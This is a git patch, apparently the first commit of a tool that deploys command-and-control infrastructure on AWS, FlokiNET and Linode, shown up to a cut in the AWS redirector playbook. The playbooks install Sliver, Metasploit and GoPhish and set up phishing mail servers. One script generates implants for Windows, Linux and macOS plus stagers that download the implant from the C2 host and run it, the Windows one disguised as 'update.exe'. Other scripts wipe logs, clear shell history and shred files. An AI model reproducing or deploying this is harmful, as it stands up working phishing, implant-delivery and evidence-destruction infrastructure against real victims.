From 241668a84d5f57eaf5f259b9217c7aa4d55ef6e0 Mon Sep 17 00:00:00 2001 From: n0mad1k Date: Wed, 9 Apr 2025 15:22:21 -0400 Subject: [PATCH] init --- .gitignore | 2 + AWS/AMI-ID-Grabber.sh | 143 +++ AWS/aws-c2-deploy.yaml | 479 +++++++ AWS/aws-c2-vars-template.yaml | 45 + AWS/c2.yml | 381 ++++++ AWS/redirector.yml | 476 +++++++ FlokiNET/c2.yml | 410 ++++++ FlokiNET/provision.yml | 134 ++ FlokiNET/redirector.yml | 118 ++ FlokiNET/templates/default-site.j2 | 80 ++ FlokiNET/templates/gophish-config.j2 | 23 + FlokiNET/templates/index.html.j2 | 122 ++ FlokiNET/templates/motd-aws.j2 | 43 + FlokiNET/templates/nginx.conf.j2 | 59 + FlokiNET/templates/shell-handler.service.j2 | 27 + FlokiNET/templates/sliver-server.service.j2 | 24 + Linode/c2-deploy.yaml | 355 ++++++ Linode/c2.yml | 341 +++++ Linode/redirector.yml | 436 +++++++ Linode/templates/gophish-config.j2 | 23 + Linode/templates/motd-linode.j2 | 46 + deploy.py | 1246 +++++++++++++++++++ requirements.txt | 6 + 23 files changed, 5019 insertions(+) create mode 100644 .gitignore create mode 100755 AWS/AMI-ID-Grabber.sh create mode 100644 AWS/aws-c2-deploy.yaml create mode 100644 AWS/aws-c2-vars-template.yaml create mode 100644 AWS/c2.yml create mode 100644 AWS/redirector.yml create mode 100644 FlokiNET/c2.yml create mode 100644 FlokiNET/provision.yml create mode 100644 FlokiNET/redirector.yml create mode 100644 FlokiNET/templates/default-site.j2 create mode 100644 FlokiNET/templates/gophish-config.j2 create mode 100644 FlokiNET/templates/index.html.j2 create mode 100644 FlokiNET/templates/motd-aws.j2 create mode 100644 FlokiNET/templates/nginx.conf.j2 create mode 100644 FlokiNET/templates/shell-handler.service.j2 create mode 100644 FlokiNET/templates/sliver-server.service.j2 create mode 100644 Linode/c2-deploy.yaml create mode 100644 Linode/c2.yml create mode 100644 Linode/redirector.yml create mode 100644 Linode/templates/gophish-config.j2 create mode 100644 Linode/templates/motd-linode.j2 create mode 100644 deploy.py create mode 100644 requirements.txt diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..528f4f8 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +vars.yaml +venv \ No newline at end of file diff --git a/AWS/AMI-ID-Grabber.sh b/AWS/AMI-ID-Grabber.sh new file mode 100755 index 0000000..a4e268e --- /dev/null +++ b/AWS/AMI-ID-Grabber.sh @@ -0,0 +1,143 @@ +#!/bin/bash + +# Default configurations +DEFAULT_IMAGE_FILTER="*kali-last-snapshot*" +DEFAULT_OWNER_ID="679593333241" +DEFAULT_REGION="us-east-1" + +# Debugging flag +DEBUG=false + +# Usage function +function usage() { + echo "Usage: $0 [--image-filter ] [--owner-id ] [--debug] [--help]" + echo "" + echo "Options:" + echo " --image-filter Filter for AMI names (default: '${DEFAULT_IMAGE_FILTER}')." + echo " --owner-id Owner ID for filtering AMIs (default: '${DEFAULT_OWNER_ID}')." + echo " --debug Enable verbose debugging." + echo " --help Display this help message." + exit 1 +} + +# Parse arguments +IMAGE_FILTER="$DEFAULT_IMAGE_FILTER" +OWNER_ID="$DEFAULT_OWNER_ID" + +while [[ $# -gt 0 ]]; do + case $1 in + --image-filter) + IMAGE_FILTER="$2" + shift 2 + ;; + --owner-id) + OWNER_ID="$2" + shift 2 + ;; + --debug) + DEBUG=true + shift + ;; + --help) + usage + ;; + *) + echo "Unknown option: $1" + usage + ;; + esac +done + +if $DEBUG; then + echo "DEBUG: Using image filter: $IMAGE_FILTER" + echo "DEBUG: Using owner ID: $OWNER_ID" +fi + +# Step 1: Fetch all AMIs in the default region to identify the latest version +LATEST_AMI="" +LATEST_YEAR=0 +LATEST_VERSION=0 + +AMI_LIST=$(aws ec2 describe-images \ + --region "$DEFAULT_REGION" \ + --filters "Name=name,Values=$IMAGE_FILTER" "Name=owner-id,Values=$OWNER_ID" \ + --query "Images[].[Name]" \ + --output text) + +if $DEBUG; then + echo "DEBUG: AMI list in $DEFAULT_REGION: $AMI_LIST" +fi + +for AMI_NAME in $AMI_LIST; do + if [[ $AMI_NAME != *"-prod-"* ]]; then + # Extract year and version using regex + if [[ $AMI_NAME =~ ([0-9]{4})\.([0-9]+)\.([0-9]+) ]]; then + YEAR=${BASH_REMATCH[1]} + VERSION=${BASH_REMATCH[2]} + + if $DEBUG; then + echo "DEBUG: Checking AMI: $AMI_NAME (Year: $YEAR, Version: $VERSION)" + fi + + if (( YEAR > LATEST_YEAR )) || (( YEAR == LATEST_YEAR && VERSION > LATEST_VERSION )); then + LATEST_AMI="$AMI_NAME" + LATEST_YEAR=$YEAR + LATEST_VERSION=$VERSION + fi + fi + fi +done + +if $DEBUG; then + echo "DEBUG: Latest AMI determined: $LATEST_AMI" +fi + +# Step 2: Use the latest AMI name to filter across all regions +if [[ -z "$LATEST_AMI" ]]; then + echo "No valid AMIs found matching the criteria." + exit 1 +fi + +IMAGE_FILTER_LATEST="${LATEST_AMI%-*}*" # Strip the region-specific suffix and add a wildcard + +if $DEBUG; then + echo "DEBUG: Using refined image filter: $IMAGE_FILTER_LATEST" +fi + +# Step 3: Fetch AMIs across all regions +REGIONS=$(aws ec2 describe-regions --query "Regions[].RegionName" --output text) + +echo "Fetching AMIs with filter '$IMAGE_FILTER_LATEST' and owner ID '$OWNER_ID'..." + +AMI_MAP="" +REGION_LIST=() + +for REGION in $REGIONS; do + if $DEBUG; then + echo "DEBUG: Querying region: $REGION" + fi + + AMI_INFO=$(aws ec2 describe-images \ + --region "$REGION" \ + --filters "Name=name,Values=$IMAGE_FILTER_LATEST" "Name=owner-id,Values=$OWNER_ID" \ + --query "Images[].[Name,ImageId]" \ + --output text) + + if [[ -n "$AMI_INFO" ]]; then + while read -r NAME AMI_ID; do + echo "$NAME" + echo " $REGION: $AMI_ID" + REGION_LIST+=("$REGION") + AMI_MAP+="$REGION: $AMI_ID"$'\n' + done <<< "$AMI_INFO" + fi +done + +# Step 4: Generate YAML +YAML_OUTPUT="aws_region_choices:\n" +for REGION in "${REGION_LIST[@]}"; do + YAML_OUTPUT+=" - $REGION\n" +done +YAML_OUTPUT+="ami_map:\n$AMI_MAP" + +echo -e "\nGenerated YAML:\n$YAML_OUTPUT" diff --git a/AWS/aws-c2-deploy.yaml b/AWS/aws-c2-deploy.yaml new file mode 100644 index 0000000..b70776a --- /dev/null +++ b/AWS/aws-c2-deploy.yaml @@ -0,0 +1,479 @@ +--- +- name: Create and configure AWS EC2 instance for C2 Server + hosts: localhost + gather_facts: false + connection: local + vars_files: + - vars.yaml + vars: + ssh_user: "kali" + + tasks: + - block: + - name: Select a random AWS region + set_fact: + selected_aws_region: "{{ aws_region_choices | random }}" + + - name: Set AMI ID based on region + set_fact: + aws_ami: "{{ ami_map[selected_aws_region] }}" + + - name: Create an EC2 key pair + amazon.aws.ec2_key: + access_key: "{{ aws_access_key }}" + secret_key: "{{ aws_secret_key }}" + name: "{{ instance_label }}" + region: "{{ selected_aws_region }}" + state: present + register: key_pair + + - name: Save private key locally + copy: + content: "{{ key_pair.key.private_key }}" + dest: "~/.ssh/{{ instance_label }}.pem" + mode: "0600" + when: key_pair.changed + + - name: Check if a security group with required properties already exists + amazon.aws.ec2_security_group_info: + filters: + group-name: "security-sg" + region: "{{ selected_aws_region }}" + aws_access_key: "{{ aws_access_key }}" + aws_secret_key: "{{ aws_secret_key }}" + register: existing_sg + ignore_errors: yes + + - name: Create a security group for the instance if it doesn't exist + amazon.aws.ec2_group: + name: "security-sg" + description: "Completely open security group for instance {{ instance_label }}" + region: "{{ selected_aws_region }}" + aws_access_key: "{{ aws_access_key }}" + aws_secret_key: "{{ aws_secret_key }}" + rules: + - proto: -1 # Allow all protocols + cidr_ip: "0.0.0.0/0" # Open to all IPv4 addresses + rules_egress: + - proto: -1 + cidr_ip: "0.0.0.0/0" + when: existing_sg.security_groups | length == 0 + register: c2_sg_result + + - name: Launch EC2 instance + amazon.aws.ec2_instance: + aws_access_key: "{{ aws_access_key | default(omit) }}" + aws_secret_key: "{{ aws_secret_key | default(omit) }}" + region: "{{ selected_aws_region }}" + name: "{{ instance_label }}" + image_id: "{{ aws_ami }}" + instance_type: "{{ aws_instance_type }}" + key_name: "{{ instance_label }}" + security_groups: + - "security-sg" + wait: no + volumes: + - device_name: "/dev/xvda" + ebs: + volume_size: 100 + delete_on_termination: true + register: ec2_instance + + - name: Set instance_id fact for cleanup + set_fact: + instance_id: "{{ ec2_instance.instance_ids[0] | default('') }}" + when: ec2_instance.instances is defined and ec2_instance.instances | length > 0 + + - name: Wait for EC2 instance to reach running state + amazon.aws.ec2_instance_info: + aws_access_key: "{{ aws_access_key | default(omit) }}" + aws_secret_key: "{{ aws_secret_key | default(omit) }}" + region: "{{ selected_aws_region }}" + instance_ids: "{{ ec2_instance.instance_ids }}" + register: instance_info + retries: 10 + delay: 30 + until: instance_info.instances[0].state.name == "running" + + - name: Fetch the public IP of the instance + command: > + aws ec2 describe-instances + --filters "Name=tag:Name,Values={{ instance_label }}" + "Name=instance-state-name,Values=running" + --query "Reservations[*].Instances[*].PublicIpAddress" + --output text + register: instance_ip_result + environment: + AWS_ACCESS_KEY_ID: "{{ aws_access_key }}" + AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}" + AWS_DEFAULT_REGION: "{{ selected_aws_region }}" + retries: 3 + delay: 200 + until: instance_ip_result.stdout is not none and instance_ip_result.stdout != "" + + - name: Set instance_public_ip variable + ansible.builtin.set_fact: + instance_public_ip: "{{ instance_ip_result.stdout | trim }}" + when: instance_ip_result is defined and instance_ip_result.stdout != "" + + - name: Add EC2 instance to inventory + add_host: + name: "{{ instance_label }}" + ansible_host: "{{ instance_public_ip }}" + ansible_user: kali + ansible_ssh_private_key_file: "{{ private_key_path }}.pem" + ansible_ssh_common_args: '-o IdentitiesOnly=yes' + + - name: Pause for 300 seconds to allow instance initialization + ansible.builtin.pause: + seconds: 300 + + - name: Validate SSH connection with retries + block: + - name: Attempt SSH connection + ansible.builtin.command: + cmd: ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -i "{{ private_key_path }}.pem" kali@{{ instance_public_ip }} echo "SSH connection successful" + delay: 100 # Adjust delay if needed + retries: 2 + register: ssh_validation_result + ignore_errors: yes + + - name: Fail if SSH validation fails + ansible.builtin.fail: + msg: "SSH connection validation failed. Check instance settings, SSH key, and security group." + when: (ssh_validation_result is not defined or ssh_validation_result.rc != 0) + +- name: Configure AWS EC2 instance + hosts: "{{ instance_label }}" + gather_facts: true + tasks: + + - name: Set a custom MOTD + template: + src: motd-aws.j2 + dest: /etc/motd + owner: root + group: root + mode: '0644' + become: true + vars: + letsencrypt_email: "{{ letsencrypt_email }}" + mail_hostname: "{{ mail_hostname }}" + domain: "{{ domain }}" + gophish_admin_domain: "{{ gophish_admin_domain }}" + gophish_site_domain: "{{ gophish_site_domain }}" + + - name: Hush Default Login Message + become: true + ansible.builtin.shell: | + rm -rf '/usr/bin/kali-motd' + + - name: Update apt package list + ansible.builtin.apt: + update_cache: yes + become: true + + - name: Install base utilities and tools via apt + become: true + ansible.builtin.apt: + name: + - git + - wget + - curl + - unzip + - python3-pip + - python3-venv + - tmux + - pipx + - nmap + - tcpdump + - hydra + - john + - hashcat + - sqlmap + - gobuster + - dirb + - enum4linux + - dnsenum + - seclists + - responder + - golang + - proxychains + - tor + - crackmapexec + - jq + - unzip + - postfix + - certbot + - opendkim + - opendkim-tools + - dovecot-core + - dovecot-imapd + - dovecot-pop3d + - dovecot-sieve + - dovecot-managesieved + - yq + state: present + + - name: Ensure pipx path is configured + ansible.builtin.shell: | + pipx ensurepath + become: true + args: + executable: /bin/bash + + - name: Create Tools dir + ansible.builtin.shell: | + mkdir /home/kali/Tools + + - name: Install tools via pipx + ansible.builtin.shell: | + export PATH=$PATH:/root/.local/bin + pipx ensurepath + pipx install git+https://github.com/Pennyw0rth/NetExec + pipx install git+https://github.com/blacklanternsecurity/TREVORspray + pipx install impacket + become: true + args: + executable: /bin/bash + + - name: Download Kerbrute + ansible.builtin.shell: | + mkdir -p /home/kali/Tools/Kerbrute + wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O /home/kali/Tools/Kerbrute/kerbrute + chmod +x /home/kali/Tools/Kerbrute/kerbrute + become: true + args: + executable: /bin/bash + + - name: Clone SharpCollection nightly builds + ansible.builtin.git: + repo: https://github.com/Flangvik/SharpCollection.git + dest: /home/kali/Tools/SharpCollection + version: master + + - name: Clone PEASS-ng + ansible.builtin.git: + repo: https://github.com/carlospolop/PEASS-ng.git + dest: /home/kali/Tools/PEASS-ng + + - name: Clone MailSniper + ansible.builtin.git: + repo: https://github.com/dafthack/MailSniper.git + dest: /home/kali/Tools/MailSniper + + - name: Clone Inveigh + ansible.builtin.git: + repo: https://github.com/Kevin-Robertson/Inveigh.git + dest: /home/kali/Tools/Inveigh + + - name: Install Sliver C2 server + ansible.builtin.shell: | + curl https://sliver.sh/install | bash + systemctl enable sliver + systemctl start sliver + become: true + + - name: Install Metasploit Framework (Nightly Build) + ansible.builtin.shell: | + curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /home/kali/Tools/msfinstall + chmod 755 /home/kali/Tools/msfinstall + /home/kali/Tools/msfinstall + become: true + args: + executable: /bin/bash + + - name: Grab GoPhish + ansible.builtin.shell: | + curl -L "$(curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url')" -o /home/kali/Tools/gophish.zip + unzip /home/kali/Tools/gophish.zip -d /home/kali/Tools/gophish + rm -rf /home/kali/Tools/gophish.zip + chmod +x /home/kali/Tools/gophish + + - name: Deploy Gophish config.json with custom admin port + become: true + template: + src: gophish-config.j2 + dest: /home/kali/Tools/gophish/config.json + owner: kali + group: kali + mode: '0644' + vars: + gophish_admin_port: "{{ gophish_admin_port }}" + domain: "{{ domain }}" + + - name: Configure Postfix main.cf + lineinfile: + path: /etc/postfix/main.cf + regexp: "{{ item.regexp }}" + line: "{{ item.line }}" + with_items: + - { regexp: '^myhostname', line: "myhostname = mail.{{ domain }}" } + - { regexp: '^mydomain', line: "mydomain = {{ domain }}" } + - { regexp: '^myorigin', line: "myorigin = $mydomain" } + - { regexp: '^inet_interfaces', line: "inet_interfaces = all" } + - { regexp: '^inet_protocols', line: "inet_protocols = ipv4" } + - { regexp: '^smtpd_banner', line: "smtpd_banner = $myhostname ESMTP $mail_name" } + - { regexp: '^mynetworks', line: "mynetworks = 127.0.0.0/8 [::1]/128" } + - { regexp: '^relay_domains', line: "relay_domains = $mydestination" } + - { regexp: '^smtpd_tls_cert_file', line: "smtpd_tls_cert_file = /etc/letsencrypt/live/{{ domain }}/fullchain.pem" } + - { regexp: '^smtpd_tls_key_file', line: "smtpd_tls_key_file = /etc/letsencrypt/live/{{ domain }}/privkey.pem" } + - { regexp: '^smtpd_tls_security_level', line: "smtpd_tls_security_level = encrypt" } + - { regexp: '^smtpd_tls_session_cache_database', line: "smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache" } + - { regexp: '^smtp_tls_session_cache_database', line: "smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache" } + - { regexp: '^smtpd_use_tls', line: "smtpd_use_tls = yes" } + - { regexp: '^smtpd_tls_auth_only', line: "smtpd_tls_auth_only = yes" } + - { regexp: '^milter_default_action', line: "milter_default_action = accept" } + - { regexp: '^milter_protocol', line: "milter_protocol = 6" } + - { regexp: '^smtpd_milters', line: "smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" } + - { regexp: '^non_smtpd_milters', line: "non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" } + become: true + + - name: Configure OpenDKIM + lineinfile: + path: /etc/opendkim.conf + regexp: "{{ item.regexp }}" + line: "{{ item.line }}" + with_items: + - { regexp: '^Domain', line: "Domain {{ domain }}" } + - { regexp: '^KeyFile', line: "KeyFile /etc/opendkim/keys/{{ domain }}/mail.private" } + - { regexp: '^Selector', line: "Selector mail" } + - { regexp: '^Socket', line: "Socket local:/var/spool/postfix/opendkim/opendkim.sock" } + - { regexp: '^Syslog', line: "Syslog yes" } + - { regexp: '^UMask', line: "UMask 002" } + - { regexp: '^Mode', line: "Mode sv" } + become: true + + - name: Create DKIM directory + file: + path: /etc/opendkim/keys/{{ domain }} + state: directory + owner: opendkim + group: opendkim + mode: 0700 + become: true + + - name: Generate DKIM keys + command: > + opendkim-genkey -D /etc/opendkim/keys/{{ domain }} -d {{ domain }} -s mail + args: + creates: /etc/opendkim/keys/{{ domain }}/mail.private + become: true + + - name: Set permissions for DKIM keys + file: + path: /etc/opendkim/keys/{{ domain }}/mail.private + owner: opendkim + group: opendkim + mode: 0600 + become: true + + - name: Configure OpenDKIM TrustedHosts + copy: + content: | + 127.0.0.1 + ::1 + localhost + {{ domain }} + dest: /etc/opendkim/TrustedHosts + owner: opendkim + group: opendkim + mode: 0644 + become: true + + - name: Enable submission port (587) in master.cf + blockinfile: + path: /etc/postfix/master.cf + insertafter: '^#submission' + block: | + submission inet n - y - - smtpd + -o syslog_name=postfix/submission + -o smtpd_tls_security_level=encrypt + -o smtpd_sasl_auth_enable=yes + -o smtpd_recipient_restrictions=permit_sasl_authenticated,reject + -o smtpd_relay_restrictions=permit_sasl_authenticated,reject + become: true + + - name: Configure Dovecot for Postfix SASL + blockinfile: + path: /etc/dovecot/conf.d/10-master.conf + insertafter: '^service auth {' + block: | + # Postfix smtp-auth + unix_listener /var/spool/postfix/private/auth { + mode = 0660 + user = postfix + group = postfix + } + become: true + + - name: Set Dovecot auth_mechanisms + lineinfile: + path: /etc/dovecot/conf.d/10-auth.conf + regexp: '^auth_mechanisms' + line: 'auth_mechanisms = plain login' + become: true + + - name: Create Dovecot password file for SASL authentication + file: + path: /etc/dovecot/passwd + state: touch + mode: '0600' + owner: dovecot + group: dovecot + become: true + + - name: Add SMTP auth user to Dovecot + lineinfile: + path: /etc/dovecot/passwd + line: "{{ smtp_auth_user }}:{{ smtp_auth_pass | password_hash('sha512_crypt') }}" + become: true + + - name: Disable system auth and use passwd-file + lineinfile: + path: /etc/dovecot/conf.d/10-auth.conf + regexp: '^!include auth-system.conf.ext' + line: '#!include auth-system.conf.ext' + become: true + + - name: Add auth-passwdfile configuration + blockinfile: + path: /etc/dovecot/conf.d/10-auth.conf + insertafter: '^auth_mechanisms =' + block: | + passdb { + driver = passwd-file + args = scheme=sha512_crypt /etc/dovecot/passwd + } + userdb { + driver = static + args = uid=vmail gid=vmail home=/var/vmail/%u + } + become: true + + - name: Create vmail group + group: + name: vmail + gid: 5000 + state: present + become: true + + - name: Create vmail user + user: + name: vmail + uid: 5000 + group: vmail + create_home: no + become: true + + - name: Restart Postfix + service: + name: postfix + state: restarted + become: true + + - name: Restart Dovecot + service: + name: dovecot + state: restarted + become: true \ No newline at end of file diff --git a/AWS/aws-c2-vars-template.yaml b/AWS/aws-c2-vars-template.yaml new file mode 100644 index 0000000..43660a8 --- /dev/null +++ b/AWS/aws-c2-vars-template.yaml @@ -0,0 +1,45 @@ +aws_access_key: "YOUR_AWS_ACCESS_KEY" # Your AWS access key +aws_secret_key: "YOUR_AWS_SECRET_KEY" # Your AWS secret key +aws_region_choices: + - ap-south-1 + - eu-north-1 + - eu-west-3 + - eu-west-2 + - eu-west-1 + - ap-northeast-3 + - ap-northeast-2 + - ap-northeast-1 + - ca-central-1 + - sa-east-1 + - ap-southeast-1 + - ap-southeast-2 + - eu-central-1 + - us-east-1 + - us-east-2 + - us-west-1 + - us-west-2 +ami_map: + ap-south-1: ami-0eeeb93aa51c48595 + eu-north-1: ami-05bb943edc7d12d2f + eu-west-3: ami-01c1cbe631d766dcd + eu-west-2: ami-0a9aba19a0b8e81da + eu-west-1: ami-05b908c468c3a5373 + ap-northeast-3: ami-03809b00a4487dc46 + ap-northeast-2: ami-048f3574b7d304c04 + ap-northeast-1: ami-0b74305a62f8299e1 + ca-central-1: ami-0415ef7b9c3019285 + sa-east-1: ami-0ab7401488d50bf51 + ap-southeast-1: ami-0d2d12d390e9c0a34 + ap-southeast-2: ami-0bd344ea1f492feab + eu-central-1: ami-093d1ceb3279619b0 + us-east-1: ami-061b17d332829ab1c + us-east-2: ami-0327cf1c5e479e093 + us-west-1: ami-0fbe3a8e1dcd86f23 + us-west-2: ami-030d7e8d6fbca8332 +aws_instance_type: "t2.medium" # EC2 instance type +domain: "example.com" +mail_hostname: "mail.example.com" +letsencrypt_email: "admin@example.com" +smtp_auth_user: "phishuser" +smtp_auth_pass: "SuperSecretPass123!" +gophish_admin_port: "2222" \ No newline at end of file diff --git a/AWS/c2.yml b/AWS/c2.yml new file mode 100644 index 0000000..70db0ea --- /dev/null +++ b/AWS/c2.yml @@ -0,0 +1,381 @@ +--- +- name: Deploy AWS C2 server + hosts: localhost + gather_facts: false + connection: local + vars: + region: "{{ aws_region | default('us-east-1') }}" + instance_type: "{{ size | default('t2.medium') }}" + instance_name: "{{ c2_name | default('c2') }}" + domain: "{{ domain | default('example.com') }}" + c2_subdomain: "mail" + + tasks: + - name: Set a random AWS region if not specified + set_fact: + selected_aws_region: "{{ aws_region_choices | random }}" + when: aws_region is not defined + + - name: Create an EC2 key pair + amazon.aws.ec2_key: + name: "{{ instance_name }}" + region: "{{ region }}" + state: present + register: key_pair + + - name: Save private key locally + copy: + content: "{{ key_pair.key.private_key }}" + dest: "~/.ssh/{{ instance_name }}.pem" + mode: "0600" + when: key_pair.changed + + - name: Create security group for C2 server + amazon.aws.ec2_group: + name: "{{ instance_name }}-sg" + description: "Security group for C2 server" + region: "{{ region }}" + rules: + - proto: tcp + ports: + - 22 + - 50051 # Sliver gRPC port + - 8888 # C2 HTTP listener + - 8443 # Beacon server + cidr_ip: 0.0.0.0/0 + rules_egress: + - proto: -1 + cidr_ip: 0.0.0.0/0 + register: c2_sg + + - name: Launch C2 EC2 instance + amazon.aws.ec2_instance: + name: "{{ instance_name }}" + region: "{{ region }}" + image_id: "{{ ami_map[region] }}" + instance_type: "{{ instance_type }}" + key_name: "{{ instance_name }}" + security_group: "{{ c2_sg.group_id }}" + network: + assign_public_ip: true + tags: + Name: "{{ instance_name }}" + Role: "c2" + wait: yes + register: c2_instance + + - name: Save C2 IP + set_fact: + c2_ip: "{{ c2_instance.instances[0].public_ip_address }}" + + - name: Wait for SSH to become available + wait_for: + host: "{{ c2_ip }}" + port: 22 + delay: 10 + timeout: 300 + state: started + + - name: Add C2 server to inventory + add_host: + name: c2 + ansible_host: "{{ c2_ip }}" + ansible_user: "{{ ssh_user | default('kali') }}" + ansible_ssh_private_key_file: "~/.ssh/{{ instance_name }}.pem" + groups: c2servers + +- name: Configure C2 server + hosts: c2servers + become: true + vars: + domain: "{{ domain | default('example.com') }}" + c2_subdomain: "mail" + letsencrypt_email: "{{ letsencrypt_email | default('admin@example.com') }}" + zero_logs: "{{ zero_logs | default(true) }}" + redirector_ip: "{{ hostvars['localhost']['redirector_ip'] | default('127.0.0.1') }}" + + tasks: + - name: Update apt cache + apt: + update_cache: yes + + - name: Install required packages + apt: + name: + - git + - wget + - curl + - python3-pip + - golang + - tmux + - nmap + - jq + - secure-delete + - socat + state: present + + - name: Create directories for C2 operation + file: + path: "{{ item }}" + state: directory + mode: '0700' + owner: root + group: root + with_items: + - /opt/c2 + - /opt/beacons + - /opt/payloads + + - name: Create clean-logs.sh script + copy: + content: | + #!/bin/bash + # Zero-logs maintenance script + umask 077 + + # Disable syslog temporarily + systemctl stop rsyslog 2>/dev/null + systemctl stop systemd-journald 2>/dev/null + + # Clear system logs + find /var/log -type f -name "*.log" -exec truncate -s 0 {} \; + find /var/log -type f -name "auth.log*" -exec truncate -s 0 {} \; + find /var/log -type f -name "syslog*" -exec truncate -s 0 {} \; + journalctl --vacuum-time=1s 2>/dev/null + + # Clear bash history + for histfile in /root/.bash_history /home/*/.bash_history; do + [ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null + done + history -c + + # Clear Sliver logs + find /root/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null + + # Clear temporary directories + rm -rf /tmp/* /var/tmp/* 2>/dev/null + + # Restart logging services + systemctl start systemd-journald 2>/dev/null + systemctl start rsyslog 2>/dev/null + + echo "[+] Log cleaning complete" + exit 0 + dest: /opt/c2/clean-logs.sh + mode: '0700' + owner: root + group: root + + - name: Create secure-exit.sh script + copy: + content: | + #!/bin/bash + # Secure cleanup script + + # Configuration + SECURE_DELETE_PASSES=7 + MEMORY_WIPE=true + + # Set secure umask + umask 077 + + # Function to securely delete files + secure_delete() { + local target=$1 + echo "[+] Securely deleting: $target" + + if command -v srm > /dev/null; then + srm -vzf $target 2>/dev/null + elif command -v shred > /dev/null; then + shred -vzfn $SECURE_DELETE_PASSES $target 2>/dev/null + else + # Fallback to dd if specialized tools aren't available + dd if=/dev/urandom of=$target bs=1M count=10 conv=notrunc 2>/dev/null + dd if=/dev/zero of=$target bs=1M count=10 conv=notrunc 2>/dev/null + rm -f $target 2>/dev/null + fi + } + + echo "[+] Beginning secure exit procedure..." + + # Stop all operational services + echo "[+] Stopping operational services..." + services=("sliver") + for service in "${services[@]}"; do + systemctl stop $service 2>/dev/null + done + + # Kill any remaining operational processes + echo "[+] Terminating operational processes..." + process_names=("sliver" "nc" "python") + for proc in "${process_names[@]}"; do + pkill -9 $proc 2>/dev/null + done + + # Clear all logs + echo "[+] Clearing logs..." + bash /opt/c2/clean-logs.sh + + # Securely delete operational files + echo "[+] Removing operational files..." + operational_dirs=( + "/opt/c2" + "/opt/beacons" + "/opt/payloads" + "/root/.sliver" + ) + + for dir in "${operational_dirs[@]}"; do + find $dir -type f 2>/dev/null | while read file; do + secure_delete "$file" + done + rm -rf $dir 2>/dev/null + done + + # Remove SSH keys + echo "[+] Removing SSH keys and configs..." + find /home/*/.ssh /root/.ssh -type f 2>/dev/null | while read file; do + secure_delete "$file" + done + + # Clean memory if requested + if $MEMORY_WIPE; then + echo "[+] Wiping system memory..." + sync + echo 3 > /proc/sys/vm/drop_caches + swapoff -a + swapon -a + fi + + echo "[+] Secure exit completed. Infrastructure has been sanitized." + + # Remove this script itself + exec shred -n $SECURE_DELETE_PASSES -uz $0 + dest: /opt/c2/secure-exit.sh + mode: '0700' + owner: root + group: root + + - name: Create beacon-server.sh script + copy: + content: | + #!/bin/bash + # Beacon server script + + # Configuration + BEACONS_DIR="/opt/beacons" + WEBSERVER_PORT=8443 + + # Set secure umask + umask 077 + + # Ensure beacons directory exists + mkdir -p $BEACONS_DIR + + # Generate beacons using Sliver + echo "[+] Generating beacons for all platforms..." + + # Make sure Sliver server is running + if ! pgrep -x "sliver-server" > /dev/null; then + echo "[!] Sliver server is not running, starting it..." + systemctl start sliver + sleep 5 + fi + + # Generate Windows beacon + sliver-cli generate --http {{ ansible_host }}:8888 --os windows --arch amd64 --save $BEACONS_DIR/windows.exe + + # Generate Linux beacon + sliver-cli generate --http {{ ansible_host }}:8888 --os linux --arch amd64 --save $BEACONS_DIR/linux + + # Generate macOS beacon + sliver-cli generate --http {{ ansible_host }}:8888 --os darwin --arch amd64 --save $BEACONS_DIR/macos + + # Generate stagers + echo "#!/bin/bash + curl -s {{ ansible_host }}:8443/linux | chmod +x && ./linux" > $BEACONS_DIR/beacon.sh + chmod +x $BEACONS_DIR/beacon.sh + + echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; + \$url = 'http://{{ ansible_host }}:8443/windows.exe'; + \$outpath = \"\$env:TEMP\\update.exe\"; + Invoke-WebRequest -Uri \$url -OutFile \$outpath; + Start-Process -NoNewWindow -FilePath \$outpath;" > $BEACONS_DIR/beacon.ps1 + + echo "[+] All beacons generated successfully" + + # Serve beacons using Python's HTTP server + echo "[+] Starting HTTP server on port $WEBSERVER_PORT..." + cd $BEACONS_DIR + python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 & + SERVER_PID=$! + + echo "[+] Beacon server started with PID $SERVER_PID" + echo "[+] Beacons available at http://{{ ansible_host }}:$WEBSERVER_PORT/" + + # Keep script running + trap "kill $SERVER_PID; echo '[+] Beacon server stopped'; exit 0" INT + while true; do sleep 1; done + dest: /opt/c2/beacon-server.sh + mode: '0700' + owner: root + group: root + + - name: Install Sliver C2 framework + shell: | + curl https://sliver.sh/install | bash + args: + creates: /usr/local/bin/sliver-server + + - name: Create Sliver service file + copy: + content: | + [Unit] + Description=Sliver C2 Server + After=network.target + + [Service] + Type=simple + User=root + Group=root + WorkingDirectory=/root/.sliver + ExecStart=/usr/local/bin/sliver-server daemon + Restart=always + RestartSec=10 + + # Security measures + PrivateTmp=true + ProtectHome=false + NoNewPrivileges=true + + # Hide process information + StandardOutput=null + StandardError=null + + [Install] + WantedBy=multi-user.target + dest: /etc/systemd/system/sliver.service + mode: '0644' + owner: root + group: root + + - name: Start and enable Sliver service + systemd: + name: sliver + state: started + enabled: yes + daemon_reload: yes + + - name: Set up cron job for log cleaning + cron: + name: "Clean logs" + minute: "0" + hour: "*/6" + job: "/opt/c2/clean-logs.sh > /dev/null 2>&1" + when: zero_logs|bool + + - name: Start beacon server + shell: | + nohup /opt/c2/beacon-server.sh > /dev/null 2>&1 & + args: + creates: /opt/beacons/windows.exe \ No newline at end of file diff --git a/AWS/redirector.yml b/AWS/redirector.yml new file mode 100644 index 0000000..365adb4 --- /dev/null +++ b/AWS/redirector.yml @@ -0,0 +1,476 @@ +--- +- name: Deploy AWS redirector server + hosts: localhost + gather_facts: false + connection: local + vars: + region: "{{ aws_region | 